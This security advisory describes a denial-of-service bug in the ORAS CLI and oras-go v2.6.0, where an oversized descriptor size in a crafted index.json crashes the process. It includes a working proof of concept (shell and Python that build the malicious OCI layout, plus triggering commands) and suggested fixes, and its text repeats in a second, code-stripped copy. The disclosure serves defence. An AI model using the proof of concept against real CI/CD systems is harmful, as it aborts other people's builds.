Summary
ORAS CLI trusts the size field from attacker-supplied index.json metadata in OCI image layout inputs without an upper-bound check. During store initialization, content.ReadAll() calls make([]byte, desc.Size) with the unvalidated value. A crafted layout with an oversized positive size (e.g., 4611686018427387904) causes Go's runtime to panic with makeslice: len out of range, unconditionally killing the ORAS process. The vulnerability is reachable across all commands that accept --oci-layout, --from-oci-layout, or --input flags, including cp, pull, restore, manifest fetch, repo tags, resolve, and discover.
Severity
Medium (CVSS 3.1: 5.5)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
- Attack Vector: Local — the malicious OCI layout must be a local path, though it can originate from a download, CI artifact, or shared directory.
- Attack Complexity: Low — a single crafted
index.json reliably triggers the crash; no race conditions or preconditions needed.
- Privileges Required: None — no credentials or elevated privileges are required.
- User Interaction: Required — the victim must invoke an ORAS command that processes the malicious layout.
- Scope: Unchanged — impact is confined to the ORAS process itself.
- Confidentiality Impact: None — no data is disclosed.
- Integrity Impact: None — no data is modified.
- Availability Impact: High — the process terminates unconditionally; in CI/CD pipelines this aborts builds.
Affected Component
oras.land/oras-go/v2@v2.6.0/content/reader.go — ReadAll() (line 125)
oras.land/oras-go/v2@v2.6.0/content/oci/readonlyoci.go — loadIndex() (line 182)
oras.land/oras-go/v2@v2.6.0/content/oci/oci.go — Store.loadIndexFile() (line 411)
cmd/oras/internal/option/target.go — NewReadonlyTarget() (lines 215, 217)
CWE
- CWE-789: Memory Allocation with Excessive Size Value
- CWE-400: Uncontrolled Resource Consumption
Description
Root cause: no upper-bound validation in content.ReadAll()
ReadAll() allocates a buffer whose length is taken directly from the descriptor's Size field:
// oras.land/oras-go/v2@v2.6.0/content/reader.go:121-125
func ReadAll(r io.Reader, desc ocispec.Descriptor) ([]byte, error) {
if desc.Size < 0 {
return nil, ErrInvalidDescriptorSize
}
buf := make([]byte, desc.Size) // panics if desc.Size > runtime maxSlice
...
}
Only negative values are rejected. A large positive value such as 4611686018427387904 (2⁶²) far exceeds any realistic allocation limit on a 64-bit host. Go's runtime enforces a cap (maxAlloc / elementSize) inside makeslice; exceeding it raises an unrecovered runtime error: makeslice: len out of range panic that terminates the process.
Defense gap: descriptor.Plain() forwards attacker-controlled Size unchanged
Before calling graph.IndexAll(), loadIndex() strips annotation metadata but passes Size through without modification:
// oras.land/oras-go/v2@v2.6.0/internal/descriptor/descriptor.go:83-89
func Plain(desc ocispec.Descriptor) ocispec.Descriptor {
return ocispec.Descriptor{
MediaType: desc.MediaType,
Digest: desc.Digest,
Size: desc.Size, // forwarded as-is from index.json
}
}
There is no sanitization pass between json.Unmarshal of index.json and the eventual make([]byte, desc.Size) call.
Execution chain from user input to crash
-
User runs any oras command with a local OCI layout argument, e.g.
oras cp --from-oci-layout /tmp/evil-layout:v1 registry/repo:v1
-
target.go:NewReadonlyTarget() calls oci.NewFromFS() (directory) or oci.NewFromTar() (tar):
// cmd/oras/internal/option/target.go:214-218
if info.IsDir() {
return oci.NewFromFS(ctx, os.DirFS(target.Path))
}
store, err := oci.NewFromTar(ctx, target.Path)
-
Both constructors call store.loadIndexFile(ctx) → loadIndex(), which iterates the raw manifests from index.json and calls graph.IndexAll() with each descriptor.Plain(desc).
-
graph.IndexAll() spawns goroutines via syncutil.Go() / errgroup.Go() and calls content.Successors():
// oras-go/v2/internal/graph/memory.go:165
successors, err := content.Successors(ctx, fetcher, node)
-
For manifest media types (e.g., application/vnd.oci.image.index.v1+json), Successors() calls FetchAll():
// oras-go/v2/content/graph.go:90-95
case ocispec.MediaTypeImageIndex:
content, err := FetchAll(ctx, fetcher, node)
-
FetchAll() opens the blob successfully (the blob file exists with the correct digest) and passes the descriptor to ReadAll():
// oras-go/v2/content/storage.go:65-71
func FetchAll(ctx context.Context, fetcher Fetcher, desc ocispec.Descriptor) ([]byte, error) {
rc, err := fetcher.Fetch(ctx, desc) // succeeds — blob exists
...
return ReadAll(rc, desc) // desc.Size is attacker-controlled
}
-
ReadAll() executes make([]byte, 4611686018427387904) → panic, process terminated.
The only recover() in the oras-go library (syncutil/once.go:51) immediately re-panics, so the crash is not caught:
defer func() {
if r := recover(); r != nil {
o.status <- true
panic(r) // re-panics unconditionally
}
}()
The errgroup goroutines in syncutil.Go have no recover at all, so the panic propagates to the Go runtime and kills the process.
Proof of Concept
# Create malicious OCI layout directory
mkdir -p /tmp/oras_dos_layout/blobs/sha256
cat > /tmp/oras_dos_layout/oci-layout <<'JSON'
{"imageLayoutVersion":"1.0.0"}
JSON
cat > /tmp/oras_dos_layout/root-index.json <<'JSON'
{"schemaVersion":2,"mediaType":"application/vnd.oci.image.index.v1+json","manifests":[]}
JSON
python3 - <<'PY'
import hashlib, json, pathlib
work = pathlib.Path('/tmp/oras_dos_layout')
blob = (work / 'root-index.json').read_bytes()
digest = hashlib.sha256(blob).hexdigest()
(work / 'blobs' / 'sha256' / digest).write_bytes(blob)
# blob exists with correct digest, but size in descriptor is 2^62
index = {
"schemaVersion": 2,
"manifests": [{
"mediaType": "application/vnd.oci.image.index.v1+json",
"digest": f"sha256:{digest}",
"size": 4611686018427387904,
"annotations": {"org.opencontainers.image.ref.name": "v1"}
}]
}
(work / 'index.json').write_text(json.dumps(index))
print(f"Created malicious layout with blob digest sha256:{digest}")
PY
# Trigger the panic
oras cp --from-oci-layout /tmp/oras_dos_layout:v1 localhost:5000/repo:v1
# Expected: panic: runtime error: makeslice: len out of range
Tar variant:
(cd /tmp/oras_dos_layout && tar -cf /tmp/oras_dos_layout.tar oci-layout index.json blobs)
oras restore --input /tmp/oras_dos_layout.tar --dry-run localhost:5000/repo:v1
Additional crash surfaces (all confirmed by the same root cause):
oras cp --from-oci-layout /tmp/oras_dos_layout:v1 localhost:5000/repo:v1
oras repo tags --oci-layout /tmp/oras_dos_layout
oras manifest fetch --oci-layout /tmp/oras_dos_layout:v1
oras manifest fetch-config --oci-layout /tmp/oras_dos_layout:v1
oras resolve --oci-layout /tmp/oras_dos_layout:v1
oras discover --oci-layout /tmp/oras_dos_layout:v1
oras pull --oci-layout /tmp/oras_dos_layout:v1 -o /tmp/out
oras restore --input /tmp/oras_dos_layout --dry-run localhost:5000/repo:v1
Impact
- Any ORAS CLI invocation that targets a local OCI layout crashes unconditionally when presented with a crafted
index.json.
- In CI/CD pipelines that download OCI layouts from artifact stores or container registries and process them with ORAS, an attacker with write access to the artifact source can abort pipeline steps.
- The crash is immediate and reproducible; there is no partial-success state.
- No memory is actually allocated (the runtime rejects the size before any heap activity), so there is no secondary OOM risk — only process termination.
Recommended Remediation
Option 1: Add an upper-bound guard in content.ReadAll() (preferred — fixes all callers)
Reject descriptors whose Size exceeds a configurable or hard-coded maximum before attempting allocation. This protects every current and future caller of ReadAll:
// oras.land/oras-go/v2/content/reader.go
const maxDescriptorSize = 32 * 1024 * 1024 // 32 MiB; tune as needed
func ReadAll(r io.Reader, desc ocispec.Descriptor) ([]byte, error) {
if desc.Size < 0 {
return nil, ErrInvalidDescriptorSize
}
if desc.Size > maxDescriptorSize {
return nil, fmt.Errorf("%w: descriptor size %d exceeds limit %d",
ErrInvalidDescriptorSize, desc.Size, maxDescriptorSize)
}
buf := make([]byte, desc.Size)
...
}
Option 2: Validate descriptor sizes in loadIndex() before graph indexing
Cap or reject oversized entries at the OCI store layer, before any blob is fetched:
// oras.land/oras-go/v2/content/oci/readonlyoci.go
const maxManifestSize = 4 * 1024 * 1024 // 4 MiB per OCI spec guidance
func loadIndex(...) error {
for _, desc := range index.Manifests {
if desc.Size < 0 || desc.Size > maxManifestSize {
return fmt.Errorf("descriptor %s has invalid size %d", desc.Digest, desc.Size)
}
...
}
...
}
This approach is lower coverage (only guards loadIndex), so Option 1 is preferred.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
Summary
ORAS CLI trusts the
sizefield from attacker-suppliedindex.jsonmetadata in OCI image layout inputs without an upper-bound check. During store initialization,content.ReadAll()callsmake([]byte, desc.Size)with the unvalidated value. A crafted layout with an oversized positivesize(e.g.,4611686018427387904) causes Go's runtime to panic withmakeslice: len out of range, unconditionally killing the ORAS process. The vulnerability is reachable across all commands that accept--oci-layout,--from-oci-layout, or--inputflags, includingcp,pull,restore,manifest fetch,repo tags,resolve, anddiscover.Severity
Medium (CVSS 3.1: 5.5)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:Hindex.jsonreliably triggers the crash; no race conditions or preconditions needed.Affected Component
oras.land/oras-go/v2@v2.6.0/content/reader.go—ReadAll()(line 125)oras.land/oras-go/v2@v2.6.0/content/oci/readonlyoci.go—loadIndex()(line 182)oras.land/oras-go/v2@v2.6.0/content/oci/oci.go—Store.loadIndexFile()(line 411)cmd/oras/internal/option/target.go—NewReadonlyTarget()(lines 215, 217)CWE
Description
Root cause: no upper-bound validation in
content.ReadAll()ReadAll()allocates a buffer whose length is taken directly from the descriptor'sSizefield:Only negative values are rejected. A large positive value such as
4611686018427387904(2⁶²) far exceeds any realistic allocation limit on a 64-bit host. Go's runtime enforces a cap (maxAlloc / elementSize) insidemakeslice; exceeding it raises an unrecoveredruntime error: makeslice: len out of rangepanic that terminates the process.Defense gap:
descriptor.Plain()forwards attacker-controlledSizeunchangedBefore calling
graph.IndexAll(),loadIndex()strips annotation metadata but passesSizethrough without modification:There is no sanitization pass between
json.Unmarshalofindex.jsonand the eventualmake([]byte, desc.Size)call.Execution chain from user input to crash
User runs any oras command with a local OCI layout argument, e.g.
oras cp --from-oci-layout /tmp/evil-layout:v1 registry/repo:v1target.go:NewReadonlyTarget()callsoci.NewFromFS()(directory) oroci.NewFromTar()(tar):Both constructors call
store.loadIndexFile(ctx)→loadIndex(), which iterates the raw manifests fromindex.jsonand callsgraph.IndexAll()with eachdescriptor.Plain(desc).graph.IndexAll()spawns goroutines viasyncutil.Go()/errgroup.Go()and callscontent.Successors():For manifest media types (e.g.,
application/vnd.oci.image.index.v1+json),Successors()callsFetchAll():FetchAll()opens the blob successfully (the blob file exists with the correct digest) and passes the descriptor toReadAll():ReadAll()executesmake([]byte, 4611686018427387904)→ panic, process terminated.The only recover() in the oras-go library (
syncutil/once.go:51) immediately re-panics, so the crash is not caught:The errgroup goroutines in
syncutil.Gohave no recover at all, so the panic propagates to the Go runtime and kills the process.Proof of Concept
Tar variant:
(cd /tmp/oras_dos_layout && tar -cf /tmp/oras_dos_layout.tar oci-layout index.json blobs) oras restore --input /tmp/oras_dos_layout.tar --dry-run localhost:5000/repo:v1Additional crash surfaces (all confirmed by the same root cause):
Impact
index.json.Recommended Remediation
Option 1: Add an upper-bound guard in
content.ReadAll()(preferred — fixes all callers)Reject descriptors whose
Sizeexceeds a configurable or hard-coded maximum before attempting allocation. This protects every current and future caller ofReadAll:Option 2: Validate descriptor sizes in
loadIndex()before graph indexingCap or reject oversized entries at the OCI store layer, before any blob is fetched:
This approach is lower coverage (only guards
loadIndex), so Option 1 is preferred.Credit
This vulnerability was discovered and reported by bugbunny.ai.